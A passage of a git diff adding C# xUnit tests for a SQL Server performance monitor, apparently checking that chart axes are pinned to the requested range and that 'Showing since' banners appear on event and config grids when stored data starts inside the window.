+    [InlineData("ServerTab.Charts.cs", "private void UpdateQueryDurationTrendChart(", "GetChartWindow(hoursBack, fromDate, toDate)", "QueryDurationTrendChart")]
+    [InlineData("ServerTab.Charts.cs", "private void UpdateProcDurationTrendChart(", "GetChartWindow(hoursBack, fromDate, toDate)", "ProcDurationTrendChart")]
+    [InlineData("ServerTab.Charts.cs", "private void UpdateQueryStoreDurationTrendChart(", "GetChartWindow(hoursBack, fromDate, toDate)", "QueryStoreDurationTrendChart")]
+    [InlineData("ServerTab.Charts.cs", "private void UpdateExecutionCountTrendChart(", "GetChartWindow(hoursBack, fromDate, toDate)", "ExecutionCountTrendChart")]
+    [InlineData("ServerTab.Pickers.cs", "private async System.Threading.Tasks.Task UpdateMemoryClerksChartFromPickerAsync(", "GetChartWindow(hoursBack, fromDate, toDate)", "MemoryClerksChart")]
+    [InlineData("ServerTab.Pickers.cs", "private async System.Threading.Tasks.Task UpdateWaitStatsChartFromPickerAsync(", "GetChartWindow(hoursBack, null, null)", "WaitStatsChart")]
+    [InlineData("ServerTab.Pickers.cs", "private async System.Threading.Tasks.Task UpdatePerfmonChartFromPickerAsync(", "GetChartWindow(hoursBack, null, null)", "PerfmonChart")]
+    [InlineData("CorrelatedTimelineLanesControl.xaml.cs", "private void SyncXAxes(", "GetXAxisWindow(hoursBack, fromDate, toDate, DateTime.UtcNow)", "chart")]
+    public void ChartSurfaces_PinTheirXAxisToTheRequestedRange_OnTheDataPathToo(string file, string signature, string window, string charts)
+    {
+        var body = Body(CodeOf(file), signature);
+        Assert.Contains(window, body, StringComparison.Ordinal);
+        Assert.Contains(".SetLimitsX(", body, StringComparison.Ordinal);
+
+        /* Everything after the last `return;` is the data path (a method with no early return is all data path). */
+        var dataPath = body[(body.LastIndexOf("return;", StringComparison.Ordinal) + 1)..];
+        foreach (var chart in charts.Split('|'))
+        {
+            Assert.True(
+                dataPath.Contains($"{chart}.Plot.Axes.SetLimitsX(", StringComparison.Ordinal),
+                $"{signature}: the data path no longer pins {chart}'s X axis to the requested range (an empty-path call does not count)");
+        }
+    }
+
+    /// <summary>
+    /// The heatmap's X axis counts its drawn columns (<c>SetLimitsX(-0.5, numCols - 0.5)</c>, never the chart window).
+    /// The columns now span the asked range, one per 5-minute bucket, so a gap in the data draws as empty columns; the
+    /// notice stays because an empty column cannot tell a server that did not exist yet from one that ran nothing
+    /// (see the column tests above). Plan Corrections is a grid.
+    /// </summary>
+    [Fact]
+    public void QueryHeatmap_XAxisCountsDrawnColumns_SoItCarriesTheNotice()
+    {
+        var body = Body(CodeOf("ServerTab.Charts.cs"), "private void UpdateQueryHeatmapChart(");
+        Assert.Contains("SetLimitsX(-0.5, numCols - 0.5)", body, StringComparison.Ordinal);
+        Assert.DoesNotContain("GetChartWindow(", body, StringComparison.Ordinal);
+    }
+
+    /// <summary>The Memory Overview summary reads the newest snapshot only: no window, so nothing to say about where one starts.</summary>
+    [Fact]
+    public void MemoryOverviewSummary_ReadsTheNewestSnapshotOnly()
+    {
+        var refresh = CodeOf("ServerTab.Refresh.cs");
+        Assert.Equal(2, Positions(refresh, "_dataService.GetLatestMemoryStatsAsync(_serverId)").Count);
+        Assert.DoesNotContain("GetLatestMemoryStatsAsync(_serverId, hoursBack", refresh, StringComparison.Ordinal);
+    }
+
+    private static void AssertEachFollowsItsBind(List<int> binds, List<int> banners, string what)
+    {
+        Assert.True(banners.Count == binds.Count,
+            $"{what}: expected one banner refresh per read path ({binds.Count}), found {banners.Count}");
+        for (var i = 0; i < binds.Count; i++)
+        {
+            Assert.True(banners[i] > binds[i], $"{what}: the banner refresh must follow the read it describes");
+            if (i + 1 < binds.Count)
+            {
+                Assert.True(banners[i] < binds[i + 1], $"{what}: the banner refresh must sit with the read it describes, not the next one");
+            }
+        }
+    }
+
+    private static List<int> Positions(string text, string token)
+    {
+        var found = new List<int>();
+        for (var at = text.IndexOf(token, StringComparison.Ordinal); at >= 0; at = text.IndexOf(token, at + token.Length, StringComparison.Ordinal))
+        {
+            found.Add(at);
+        }
+
+        return found;
+    }
+
+    /// <summary>The method that starts at <paramref name="signature"/>, up to the first closing brace at member indentation.</summary>
+    private static string Body(string code, string signature)
+    {
+        var start = code.IndexOf(signature, StringComparison.Ordinal);
+        Assert.True(start >= 0, $"'{signature}' was not found; update this pin.");
+        var end = code.IndexOf("\n    }\n", start, StringComparison.Ordinal);
+        Assert.True(end > start, $"the end of '{signature}' was not found.");
+        return code[start..end];
+    }
+
+    /// <summary>A Controls source file with line endings folded to LF and comments removed, so a sentence naming a call cannot satisfy a pin.</summary>
+    private static string CodeOf(string name)
+    {
+        var lf = File.ReadAllText(ControlsFile(name)).Replace("\r\n", "\n");
+        return Regex.Replace(Regex.Replace(lf, @"/\*.*?\*/", string.Empty, RegexOptions.Singleline), @"(?<!:)//[^\n]*", string.Empty);
+    }
+
+    private static IEnumerable<string> AllServerTabCode() =>
+        Directory.EnumerateFiles(ControlsDir(), "ServerTab*.cs").Select(path => CodeOf(Path.GetFileName(path)));
+
+    /// <summary>
+    /// The <c>///</c> block (and attribute lines) directly above the member that starts at <paramref name="signature"/>,
+    /// in an LF-only source. It collects a doc run by line prefix, which is what defines the run: the surfaces a pin
+    /// reads out of it live only in the comment, so a walk that strips comments would leave nothing to read. The bound
+    /// it rests on: the walk stops at the first line that is neither <c>///</c> nor an attribute, so a block comment, a
+    /// <c>//</c> line or a blank line between the run and its member truncates it and the pin reads the surfaces as
+    /// missing, which fails loudly rather than passing on half a comment. <c>CommentFilterAdoptionTests</c> lists this
+    /// site with the same bound.
+    /// </summary>
+    private static string DocBefore(string lfSource, string signature)
+    {
+        var at = lfSource.IndexOf(signature, StringComparison.Ordinal);
+        Assert.True(at >= 0, $"'{signature}' was not found; update this pin.");
+        var lines = lfSource[..at].Split('\n');
+        var doc = new List<string>();
+        for (var i = lines.Length - 2; i >= 0; i--)
+        {
+            var line = lines[i].Trim();
+            if (!line.StartsWith("///", StringComparison.Ordinal) && !line.StartsWith('['))
+            {
+                break;
+            }
+
+            doc.Add(line);
+        }
+
+        return string.Join("\n", doc);
+    }
+
+    private static string ServicesFile(string name) =>
+        Path.GetFullPath(Path.Combine(ControlsDir(), "..", "Services", name));
+
+    private static string ControlsFile(string name) =>
+        Path.GetFullPath(Path.Combine(ControlsDir(), name));
+
+    private static string ControlsDir([CallerFilePath] string thisFile = "") =>
+        Path.GetFullPath(Path.Combine(Path.GetDirectoryName(thisFile)!, "..", "Lite", "Controls"));
+}
diff --git a/Lite.Tests/DataStartBannerSurfaceTests.cs b/Lite.Tests/DataStartBannerSurfaceTests.cs
new file mode 100644
index 0000000000..5595ecb545
--- /dev/null
+++ b/Lite.Tests/DataStartBannerSurfaceTests.cs
@@ -0,0 +1,1391 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Globalization;
+using System.IO;
+using System.Linq;
+using System.Runtime.CompilerServices;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using PerformanceMonitor.Analysis.Baselines;
+using PerformanceMonitorLite.Controls;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Services;
+using Xunit;
+
+namespace PerformanceMonitorLite.Tests;
+
+/// <summary>
+/// #4966: the "Showing since" notice on the Collection Log, the nine System Events grids that read stored events
+/// (Scheduler Issues, Severe Errors, Memory Conditions, Memory Broker, Memory Node OOM, Significant Waits, CPU Tasks,
+/// I/O Issues and Default Trace), the three Config Changes grids and Long Queries. Each one reads its rows over the
+/// toolbar's window, so a window that starts before the store's coverage drew a shorter range with no notice. The
+/// notice comes from the ONE shared probe (<see cref="LocalDataService.GetQueryWindowFloorAsync"/>) and the ONE banner
+/// step (<see cref="ServerTab.ApplyWindowFloorToBanner"/>) the Queries tab, Active Queries and Current Waits use, and
+/// each surface has the two tests the issue asks for: rows that start inside the range read the notice back, and a
+/// quiet start (the collector covered the whole range, the first row comes late) shows none.
+///
+/// <para>The surfaces with no notice are pinned too (<see cref="SurfacesWithoutANotice_KeepTheShapeThatNeedsNone"/>):
+/// the Health Summary is a fixed seven-day aggregate that does not read the toolbar's range, the Corruption Events and
+/// Contention Events charts pin their time axis to the asked range, so an empty span is already drawn as one, and the
+/// Duration Trends chart reads its own full-range buckets, with its axis pinned the same way.</para>
+/// </summary>
+[Collection("server-time-helper")]
+[Trait("Cost", "Slow")]
+public sealed class DataStartBannerSurfaceTests : IDisposable
+{
+    private const int ServerId = 4343;
+    private const string ServerName = "SurfaceBannerServer";
+    private readonly string _tempDir;
+    private readonly DuckDbInitializer _duckDb;
+    private readonly PendingSeedSession _seed;
+    private long _nextId = 1;
+
+    public DataStartBannerSurfaceTests()
+    {
+        _tempDir = Path.Combine(Path.GetTempPath(), "SurfaceBanner_" + Guid.NewGuid().ToString("N")[..8]);
+        Directory.CreateDirectory(_tempDir);
+        _duckDb = new DuckDbInitializer(Path.Combine(_tempDir, "test.duckdb"));
+        _seed = new PendingSeedSession(_duckDb);
+    }
+
+    /* #5208: the seed helpers share one open transaction (PendingSeedSession) instead of committing every statement.
+       Every read goes through Service(), which commits it first, so the code under test sees the rows it always did. */
+    private LocalDataService Service()
+    {
+        _seed.Flush();
+        return new LocalDataService(_duckDb);
+    }
+
+    public void Dispose()
+    {
+        _seed.Dispose();
+        _duckDb.Dispose();
+        try { if (Directory.Exists(_tempDir)) Directory.Delete(_tempDir, recursive: true); }
+        catch { /* best-effort cleanup */ }
+    }
+
+    /// <summary>One relation per surface that gets a notice. The eight system_health grids share a relation, as they
+    /// share a collector and a table; the wiring test below pins each grid's own banner and call.</summary>
+    public static TheoryData<QueryWindowRelation> NoticeRelations => new()
+    {
+        QueryWindowRelation.CollectionLog,
+        QueryWindowRelation.SystemHealthEvents,
+        QueryWindowRelation.DefaultTraceEvents,
+        QueryWindowRelation.ServerConfig,
+        QueryWindowRelation.DatabaseConfig,
+        QueryWindowRelation.TraceFlags,
+        QueryWindowRelation.LongQueryCompletions
+    };
+
+    /// <summary>The two relations whose grids filter on <c>event_time</c>, the event's own time, and not on
+    /// <c>collection_time</c>, the time a run stored it (#4989): the System Events grids that read system_health
+    /// events, and the Default Trace grid.</summary>
+    public static TheoryData<QueryWindowRelation> EventRelations => new()
+    {
+        QueryWindowRelation.SystemHealthEvents,
+        QueryWindowRelation.DefaultTraceEvents,
+        // #4966: the Blocking tab's grids filter on the report's event_time and the deadlock's deadlock_time, both UTC.
+        QueryWindowRelation.BlockedProcessReports,
+        QueryWindowRelation.Deadlocks
+    };
+
+    /// <summary>The Blocking tab's two capped lists: the newest <see cref="LocalDataService.BlockedProcessReportGridCap"/> reports
+    /// and the newest <see cref="LocalDataService.DeadlockGridCap"/> deadlocks.</summary>
+    public static TheoryData<QueryWindowRelation> BlockingRelations => new()
+    {
+        QueryWindowRelation.BlockedProcessReports,
+        QueryWindowRelation.Deadlocks
+    };
+
+    private static DateTime Naive(DateTime instant) => DateTime.SpecifyKind(instant, DateTimeKind.Unspecified);
+
+    private static string Literal(DateTime instant) =>
+        "TIMESTAMP '" + Naive(instant).ToString("yyyy-MM-dd HH:mm:ss.ffffff", CultureInfo.InvariantCulture) + "'";
+
+    /// <summary>
+    /// One row in the relation's table with its time column at <paramref name="at"/>. Every other column the table
+    /// requires (NOT NULL without a default) gets a placeholder of its type, found from the table itself, so the test
+    /// does not repeat any collector's column list. The two event tables carry two clocks (#4989): <c>event_time</c>, the
+    /// event's own time and nullable, and <c>collection_time</c>, the time a run stored the row. A row there sets BOTH,
+    /// whatever column the probe measures, so a test of one clock cannot lean on the other: <paramref name="at"/> is the
+    /// event's time, and <paramref name="collectedAt"/> (<paramref name="at"/> when not given) the time the run stamped,
+    /// which is later for the history a server's first run stores. Any other relation has the one time column.
+    /// </summary>
+    private async Task SeedRowAsync(QueryWindowRelation relation, DateTime at, DateTime? collectedAt = null)
+    {
+        var table = LocalDataService.QueryWindowRelationView(relation)[2..];
+        var times = relation is QueryWindowRelation.SystemHealthEvents or QueryWindowRelation.DefaultTraceEvents
+                or QueryWindowRelation.BlockedProcessReports or QueryWindowRelation.Deadlocks
+            ? new Dictionary<string, DateTime> { [LocalDataService.QueryWindowRelationTimeColumn(relation)] = at, ["collection_time"] = collectedAt ?? at }
+            : new Dictionary<string, DateTime> { [LocalDataService.QueryWindowRelationTimeColumn(relation)] = at };
+
+        var connection = await _seed.ConnectionAsync();
+        using var readLock = _duckDb.AcquireReadLock();
+
+        var names = new List<string>();
+        var values = new List<string>();
+        using (var info = connection.CreateCommand())
+        {
+            info.CommandText = $"SELECT name, type, \"notnull\", pk, dflt_value IS NOT NULL FROM pragma_table_info('{table}') ORDER BY cid";
+            using var reader = await info.ExecuteReaderAsync();
+            while (await reader.ReadAsync())
+            {
+                var name = reader.GetString(0);
+                var type = reader.GetString(1);
+                var pk = reader.GetBoolean(3);
+                if (!times.ContainsKey(name) && (!(reader.GetBoolean(2) || pk) || reader.GetBoolean(4)))
+                {
+                    continue;
+                }
+
+                names.Add(name);
+                values.Add(PlaceholderFor(name, type, pk, times, at));
+            }
+        }
+
+        using var insert = connection.CreateCommand();
+        insert.CommandText = $"INSERT INTO {table} ({string.Join(", ", names)}) VALUES ({string.Join(", ", values)})";
+        await insert.ExecuteNonQueryAsync();
+    }
+
+    private string PlaceholderFor(string name, string type, bool pk, Dictionary<string, DateTime> times, DateTime at)
+    {
+        if (times.TryGetValue(name, out var time)) return Literal(time);
+        if (name == "server_id") return ServerId.ToString();
+        if (name == "server_name") return $"'{ServerName}'";
+        if (pk) return (_nextId++).ToString();
+
+        var upper = type.ToUpperInvariant();
+        if (upper.StartsWith("VARCHAR", StringComparison.Ordinal)) return "'x'";
+        if (upper.StartsWith("TIMESTAMP", StringComparison.Ordinal)) return Literal(at);
+        if (upper == "BOOLEAN") return "false";
+        if (upper.Contains("INT", StringComparison.Ordinal) || upper.StartsWith("DECIMAL", StringComparison.Ordinal)
+            || upper is "DOUBLE" or "FLOAT" or "REAL")
+        {
+            return $"CAST(1 AS {type})";
+        }
+
+        return $"CAST('x' AS {type})";
+    }
+
+    /// <summary>
+    /// The collector's runs in collection_log, every <paramref name="everyMinutes"/> minutes from
+    /// <paramref name="firstUtc"/> to <paramref name="lastUtc"/>, whether or not they stored a row.
+    /// </summary>
+    private async Task SeedLogRunsAsync(string collector, DateTime firstUtc, DateTime lastUtc, int everyMinutes)
+    {
+        var connection = await _seed.ConnectionAsync();
+        using var readLock = _duckDb.AcquireReadLock();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = $@"
+INSERT INTO collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected)
+SELECT {_nextId} + row_number() OVER (), {ServerId}, '{ServerName}', '{collector}', g.t, 12, 'SUCCESS', 0
+FROM generate_series({Literal(firstUtc)}, {Literal(lastUtc)}, INTERVAL {everyMinutes} MINUTE) AS g(t)";
+        _nextId += await cmd.ExecuteNonQueryAsync() + 1;
+    }
+
+    /// <summary>
+    /// A long-query completion every <paramref name="everySeconds"/> seconds from <paramref name="firstEventUtc"/> to
+    /// <paramref name="lastEventUtc"/> (the event's own time, <c>event_time</c>), each stored by a run
+    /// <see cref="CollectedAfterSeconds"/> seconds later (<c>collection_time</c>). The two clocks differ on purpose: the
+    /// grid windows on the run's time and orders and caps on the event's, so a notice worded from the wrong one is
+    /// told apart from the right one.
+    /// </summary>
+    private async Task SeedLongQueriesEverySecondsAsync(DateTime firstEventUtc, DateTime lastEventUtc, int everySeconds)
+    {
+        var connection = await _seed.ConnectionAsync();
+        using var readLock = _duckDb.AcquireReadLock();
+        using var cmd = connection.CreateCommand();
+        cmd.CommandText = $@"
+INSERT INTO long_query_completions (long_query_completion_id, collection_time, server_id, server_name, event_time, event_type, database_name, statement_text, duration_microseconds)
+SELECT {_nextId} + row_number() OVER (), g.t + INTERVAL {CollectedAfterSeconds} SECOND, {ServerId}, '{ServerName}', g.t, 'rpc_completed', 'Db',
+       'SELECT ' || CAST(row_number() OVER () AS VARCHAR), 5000000
+FROM generate_series({Literal(firstEventUtc)}, {Literal(lastEventUtc)}, INTERVAL {everySeconds} SECOND) AS g(t)";
+        _nextId += await cmd.ExecuteNonQueryAsync() + 1;
+    }
+
+    /// <summary>How long after a completion the run that stored it stamps its <c>collection_time</c>.</summary>
+    private const int CollectedAfterSeconds = 90;
+
+    private static string Since(DateTime instant) =>
+        "Showing since " + PerformanceMonitor.Ui.DisplayZone.Format(Naive(instant), TimeZoneInfo.Utc, "yyyy-MM-dd HH:mm:ss");
+
+    /// <summary>
+    /// A capped grid's read at its cap, then the capped-grid banner step itself (<see cref="ServerTab.CappedGridBannerAsync{T}"/>,
+    /// the decision inside the tab's <c>RefreshCappedGridBannerAsync</c>): (visible, text, oldest row the grid returned,
+    /// rows it returned, whether the step handed the banner to the probing step). The probing step stands in for the shared
+    /// <c>RefreshWindowTruncatedBannerAsync</c>: it words the banner from the real probe's answer, which is awaited BEFORE the
+    /// STA block, because a continuation after an await runs on another thread and a WPF banner can only be written by the
+    /// thread that made it.
+    /// </summary>
+    private async Task<(bool Visible, string Text, DateTime Oldest, int Rows, bool Probed)> CappedBannerOverTheRealReadAsync<T>(
+        Func<LocalDataService, Task<List<T>>> read, QueryWindowRelation relation, int rowCap, Func<T, DateTime> rowTimeUtc,
+        DateTime startUtc, DateTime endUtc, Func<DateTime?>? cappedSourceOldestUtc = null)
+    {
+        var service = Service();
+        var rows = await read(service);
+        var cappedSource = cappedSourceOldestUtc?.Invoke();
+        var probedFloor = await service.GetQueryWindowFloorAsync(relation, ServerId, startUtc, endUtc, ServerClock.Utc);
+        var (visible, text, probed) = StaTestThread.Run(() =>
+        {
+            var banner = new System.Windows.Controls.TextBlock();
+            var probeStepRan = false;
+            ServerTab.CappedGridBannerAsync(rows, rowCap, rowTimeUtc,
+                oldestRowShown => ServerTab.ApplyCappedWindowFloorToBanner(banner, oldestRowShown, startUtc, TimeZoneInfo.Utc),
+                () =>
+                {
+                    probeStepRan = true;
+                    ServerTab.ApplyWindowFloorToBanner(banner, probedFloor, startUtc, TimeZoneInfo.Utc);
+                    return Task.CompletedTask;
+                }, cappedSource).GetAwaiter().GetResult();
+            return (banner.Visibility == System.Windows.Visibility.Visible, banner.Text, probeStepRan);
+        });
+        return (visible, text, rows.Count == 0 ? default : rows.Min(rowTimeUtc), rows.Count, probed);
+    }
+
+    private Task<(bool Visible, string Text, DateTime Oldest, int Rows, bool Probed)> CappedLongQueriesBannerAsync(DateTime startUtc, DateTime endUtc) =>
+        CappedBannerOverTheRealReadAsync(
+            service => service.GetRecentLongQueryCompletionsAsync(ServerId, fromDate: startUtc, toDate: endUtc),
+            QueryWindowRelation.LongQueryCompletions, LocalDataService.LongQueryGridCap, ServerTab.LongQueryRowTimeUtc, startUtc, endUtc);
+
+    private Task<(bool Visible, string Text, DateTime Oldest, int Rows, bool Probed)> CappedCollectionLogBannerAsync(DateTime startUtc, DateTime endUtc) =>
+        CappedBannerOverTheRealReadAsync(
+            service => service.GetRecentCollectionLogAsync(ServerId, fromDate: startUtc, toDate: endUtc),
+            QueryWindowRelation.CollectionLog, LocalDataService.CollectionLogGridCap, row => row.CollectionTime, startUtc, endUtc);
+
+    /// <summary>The probe, then the banner step the surface runs on the result: (visible, text). The probe reads the Default
+    /// Trace through <paramref name="clock"/>, the monitored server's clock (#4989). A test that names none is a UTC server's,
+    /// whatever clock the process holds as the active one.</summary>
+    private async Task<(bool Visible, string Text)> BannerForAsync(QueryWindowRelation relation, DateTime startUtc, DateTime endUtc, ServerClock? clock = null)
+    {
+        var floor = await Service().GetQueryWindowFloorAsync(relation, ServerId, startUtc, endUtc, clock ?? ServerClock.Utc);
+        return StaTestThread.Run(() =>
+        {
+            var banner = new System.Windows.Controls.TextBlock();
+            ServerTab.ApplyWindowFloorToBanner(banner, floor, startUtc, TimeZoneInfo.Utc);
+            return (banner.Visibility == System.Windows.Visibility.Visible, banner.Text);
+        });
+    }
+
+    /// <summary>
+    /// A range that starts before the first stored row, and before the collector's first run, gets the notice, worded
+    /// at that first row or run. Covers the config snapshots too, whose time column is <c>capture_time</c>.
+    /// </summary>
+    [Theory]
+    [MemberData(nameof(NoticeRelations))]
+    public async Task RowsStartInsideTheRange_ShowTheNotice(QueryWindowRelation relation)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        var first = end.AddDays(-2);
+        await SeedRowAsync(relation, first);
+        await SeedRowAsync(relation, end.AddHours(-1));
+        if (LocalDataService.QueryWindowRelationCollector(relation) is { } collector)
+        {
+            await SeedLogRunsAsync(collector, first, end, 60);
+        }
+
+        var (visible, text) = await BannerForAsync(relation, end.AddDays(-7), end);
+
+        Assert.True(visible);
+        Assert.StartsWith("Showing since ", text, StringComparison.Ordinal);
+        Assert.Contains(Naive(first).ToString("yyyy-MM-dd HH:"), text, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// A quiet start is no reason for a notice. The store covered the whole range, but the first row inside it comes
+    /// three days in: for an event or snapshot table the collector ran for a month and stored nothing near the start,
+    /// and for the run log itself the oldest row is a month old.
+    /// </summary>
+    [Theory]
+    [MemberData(nameof(NoticeRelations))]
+    public async Task QuietStart_TheStoreCoveredTheRange_ShowsNoNotice(QueryWindowRelation relation)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        if (LocalDataService.QueryWindowRelationCollector(relation) is { } collector)
+        {
+            await SeedLogRunsAsync(collector, end.AddDays(-30), end, 180);
+        }
+        else
+        {
+            await SeedRowAsync(relation, end.AddDays(-30));
+        }
+
+        await SeedRowAsync(relation, end.AddDays(-3));
+        await SeedRowAsync(relation, end.AddHours(-1));
+
+        var (visible, text) = await BannerForAsync(relation, end.AddDays(-7), end);
+
+        Assert.False(visible);
+        Assert.Equal(string.Empty, text);
+    }
+
+    /// <summary>
+    /// A server's first run (T0, <paramref name="firstRun"/>): it stores the history the server already holds, each row
+    /// stamped with the run's own <c>collection_time</c> while its <c>event_time</c> goes back to the event's real time
+    /// (<paramref name="historyEventTimes"/>). The collector's runs are then logged hourly to <paramref name="end"/>, and
+    /// the newest one stores an event as it happens, so its two times agree.
+    /// </summary>
+    private async Task SeedFirstRunAsync(QueryWindowRelation relation, DateTime firstRun, DateTime end, params DateTime[] historyEventTimes)
+    {
+        foreach (var eventTime in historyEventTimes)
+        {
+            await SeedRowAsync(relation, eventTime, collectedAt: firstRun);
+        }
+
+        await SeedRowAsync(relation, end.AddHours(-1));
+        await SeedLogRunsAsync(LocalDataService.QueryWindowRelationCollector(relation)!, firstRun, end, 60);
+    }
+
+    /// <summary>
+    /// #4989: a server's first run stores the server's event history, every row stamped with that run's
+    /// <c>collection_time</c> (T0) while its <c>event_time</c> is older: days for the Default Trace, whose first run stores the
+    /// history its trace files hold, and about 10 minutes for system_health, whose first run reads back
+    /// <c>CollectorContext.EventFallbackWindow</c>. The tests seed the history at whatever depth they test. The grids filter on <c>event_time</c>, so a
+    /// range that starts before the oldest event (S &lt; H &lt; T0) shows rows from H, and the banner names H, never T0: a
+    /// banner never names a time later than the earliest row its grid shows. RED before the fix: the probe measured
+    /// <c>collection_time</c>, found only T0, and said "Showing since T0" above rows from before T0.
+    /// </summary>
+    [Theory]
+    [MemberData(nameof(EventRelations))]
+    public async Task EventRelations_HistoryStoredAtTheFirstRun_NamesTheOldestEvent_NotTheRun(QueryWindowRelation relation)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        var firstRun = end.AddDays(-2);
+        var oldestEvent = end.AddDays(-4);
+        await SeedFirstRunAsync(relation, firstRun, end, oldestEvent, end.AddDays(-3));
+
+        var (visible, text) = await BannerForAsync(relation, end.AddDays(-7), end);
+
+        Assert.True(visible);
+        Assert.Contains(Naive(oldestEvent).ToString("yyyy-MM-dd HH:", CultureInfo.InvariantCulture), text, StringComparison.Ordinal);
+        Assert.DoesNotContain(Naive(firstRun).ToString("yyyy-MM-dd HH:", CultureInfo.InvariantCulture), text, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// The same first-run history, with the range starting after its oldest event (H &lt;= S): the grid's rows run back to
+    /// the start of the range, so the window was served whole and there is no banner, though the run that stored the
+    /// history (T0) is later than the start.
+    /// </summary>
+    [Theory]
+    [MemberData(nameof(EventRelations))]
+    public async Task EventRelations_HistoryReachesBackToTheRangeStart_ShowsNoNotice(QueryWindowRelation relation)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        await SeedFirstRunAsync(relation, end.AddDays(-2), end, end.AddDays(-10), end.AddDays(-5));
+
+        var (visible, text) = await BannerForAsync(relation, end.AddDays(-7), end);
+
+        Assert.False(visible);
+        Assert.Equal(string.Empty, text);
+    }
+
+    /// <summary>
+    /// A first run that found no history stores nothing older than itself: the store starts at that run (T0), and the
+    /// banner names it.
+    /// </summary>
+    [Theory]
+    [MemberData(nameof(EventRelations))]
+    public async Task EventRelations_NoStoredHistory_NamesTheFirstRun(QueryWindowRelation relation)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        var firstRun = end.AddDays(-2);
+        await SeedFirstRunAsync(relation, firstRun, end);
+
+        var (visible, text) = await BannerForAsync(relation, end.AddDays(-7), end);
+
+        Assert.True(visible);
+        Assert.Contains(Naive(firstRun).ToString("yyyy-MM-dd HH:", CultureInfo.InvariantCulture), text, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// <paramref name="everySeconds"/>-spaced rows of one of the Blocking tab's event tables (or the DMV snapshots), in one
+    /// statement: <paramref name="firstUtc"/> to <paramref name="lastUtc"/>, every time column of the table at the row's time
+    /// (an event's two clocks agree), every other required column a placeholder of its type, so every row of the DMV table
+    /// carries the same blocked/blocking pair (the merge keeps one of a pair per minute).
+    /// </summary>
+    private async Task SeedManyAsync(QueryWindowRelation relation, DateTime firstUtc, DateTime lastUtc, int everySeconds)
+    {
+        var table = LocalDataService.QueryWindowRelationView(relation)[2..];
+        var timeColumns = new[] { "collection_time", "event_time", "deadlock_time" };
+
+        var connection = await _seed.ConnectionAsync();
+        using var readLock = _duckDb.AcquireReadLock();
+        var names = new List<string>();
+        var values = new List<string>();
+        using (var info = connection.CreateCommand())
+        {
+            info.CommandText = $"SELECT name, type, \"notnull\", pk, dflt_value IS NOT NULL FROM pragma_table_info('{table}') ORDER BY cid";
+            using var reader = await info.ExecuteReaderAsync();
+            while (await reader.ReadAsync())
+            {
+                var name = reader.GetString(0);
+                var pk = reader.GetBoolean(3);
+                var isTime = Array.IndexOf(timeColumns, name) >= 0;
+                if (!isTime && (!(reader.GetBoolean(2) || pk) || reader.GetBoolean(4)))
+                {
+                    continue;
+                }
+
+                names.Add(name);
+                values.Add(isTime ? "g.t"
+                    : pk ? $"{_nextId} + row_number() OVER ()"
+                    : PlaceholderFor(name, reader.GetString(1), false, new Dictionary<string, DateTime>(), firstUtc));
+            }
+        }
+
+        using var insert = connection.CreateCommand();
+        insert.CommandText = $"INSERT INTO {table} ({string.Join(", ", names)}) SELECT {string.Join(", ", values)} " +
+            $"FROM generate_series({Literal(firstUtc)}, {Literal(lastUtc)}, INTERVAL {everySeconds} SECOND) AS g(t)";
+        _nextId += await insert.ExecuteNonQueryAsync() + 1;
+    }
+
+    private static int GridCapOf(QueryWindowRelation relation) =>
+        relation == QueryWindowRelation.BlockedProcessReports ? LocalDataService.BlockedProcessReportGridCap : LocalDataService.DeadlockGridCap;
+
+    /// <summary>A Blocking-tab grid's read at its cap and the capped-grid banner step over it (#4966), the read being the grid's own:
+    /// the Blocked Process Reports read hands the step the oldest event time of the XE or DMV read that filled its page.</summary>
+    private Task<(bool Visible, string Text, DateTime Oldest, int Rows, bool Probed)> CappedBlockingBannerAsync(QueryWindowRelation relation, DateTime startUtc, DateTime endUtc)
+    {
+        if (relation == QueryWindowRelation.Deadlocks)
+        {
+            return CappedBannerOverTheRealReadAsync(
+                service => service.GetRecentDeadlocksAsync(ServerId, fromDate: startUtc, toDate: endUtc),
+                relation, LocalDataService.DeadlockGridCap, ServerTab.DeadlockRowTimeUtc, startUtc, endUtc);
+        }
+
+        DateTime? cappedSource = null;
+        return CappedBannerOverTheRealReadAsync(
+            async service =>
+            {
+                var read = await service.ReadRecentBlockedProcessReportsAsync(ServerId, fromDate: startUtc, toDate: endUtc);
+                cappedSource = read.CappedSourceStartUtc;
+                return read.Rows;
+            },
+            relation, LocalDataService.BlockedProcessReportGridCap, ServerTab.BlockedProcessRowTimeUtc, startUtc, endUtc, () => cappedSource);
+    }
+
+    /// <summary>
+    /// #4966: the Blocked Process Reports and Deadlocks grids read the newest 200 and 50. A read that fills its page is worded from
+    /// its oldest row, whatever the store covers (the collector ran for 30 days here): the rows older than it are not in the grid.
+    /// The read's row count is the constant the notice caps by (<see cref="LocalDataService.BlockedProcessReportGridCap"/>,
+    /// <see cref="LocalDataService.DeadlockGridCap"/>), and the step needs no probe.
+    /// </summary>
+    [Theory]
+    [MemberData(nameof(BlockingRelations))]
+    public async Task BlockingGrids_AReadThatFillsItsCap_NamesItsOldestRow_AlsoOverARangeTheStoreCovers(QueryWindowRelation relation)
+    {
+        await _duckDb.InitializeFromTemplateAsync();
+        var end = DateTime.UtcNow;
+        var cap = GridCapOf(relation);
+        await SeedLogRunsAsync(LocalDataService.QueryWindowRelationCollector(relation)!, end.AddDays(-30), end, 60);
+        await SeedManyAsync(relation, end.AddMinutes(-cap - 40), end.AddMinutes(-2), 60);
+
